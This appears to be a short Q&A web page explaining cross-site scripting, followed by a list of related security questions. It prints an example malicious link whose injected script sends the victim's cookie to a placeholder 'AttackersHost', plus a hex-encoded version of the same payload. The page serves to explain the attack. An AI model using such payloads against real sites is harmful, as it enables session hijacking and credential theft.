How does XSS work?

by

Cross Site Scripting basically is a security vulnerability of dynamic web pages where an attacker can create a malicious link to inject unwanted executable JavaScript into a Web site. The most usual case of this vulnerabilities occurs when GET variables are printed or echoed without filtering or checking their content.

When a victim clicks the link, the malicious code can then send the victim’s cookie away to another server, or it can modify the affected site, injecting forms, to steal usernames and passwords, and other phishing techniques.

Example of malicious link:

http://VulnerableHost/a.php?variable=<script>document.location='http://AttackersHost/cgi-bin/cookie.cgi%3Fdata="+document.cookie</script>

It”s also common to encode the malicious code, for example in hex:

http://VulnerableHost/a.php?variable=%22%3E%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70%3A%2F%2F%41%74%74%61%63%6B%65%72%73%48%6F%73%74%2F%63%67%69%2D%62%69%6E%2F%63%6F%6F%6B%69%65%2E%63%67%69%3F%20%27%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73%63%72%69%70%74%3E

More Related Contents:

  1. What is the general concept behind XSS?
  2. When is it best to sanitize user input?
  3. AntiXSS in ASP.Net Core
  4. xss attack on a php page
  5. How can I sanitize user input with PHP?
  6. How to prevent XSS with HTML/PHP?
  7. CSRF, XSS and SQL Injection attack prevention in JSF
  8. What are the best practices for avoiding xss attacks in a PHP site [closed]
  9. The ultimate clean/secure function
  10. PHP_SELF and XSS
  11. Best way to defend against mysql injection and cross site scripting
  12. Sanitizing user input before adding it to the DOM in Javascript
  13. Will HTML Encoding prevent all kinds of XSS attacks?
  14. How to pass parameters to a Script tag?
  15. WARNING: sanitizing unsafe style value url
  16. How do you use window.postMessage across domains?
  17. CodeIgniter – why use xss_clean
  18. How do you avoid XSS vulnerabilities in ASP.Net (MVC)?
  19. Cross-site XMLHttpRequest
  20. How do you configure HttpOnly cookies in tomcat / java webapps?
  21. XSS filtering function in PHP
  22. What is the http-header “X-XSS-Protection”?
  23. How to access plain text content retrieved via in JavaScript?
  24. Allow All Content Security Policy?
  25. htmlspecialchars vs htmlentities when concerned with XSS
  26. What is the difference between AntiXss.HtmlEncode and HttpUtility.HtmlEncode?
  27. Make ${} operator XSS safe in Struts 2 (same as tapestry)
  28. Sanitising user input using Python
  29. Generating AntiForgeryToken in WebForms
  30. Protection against XSS exploits?

Leave a Comment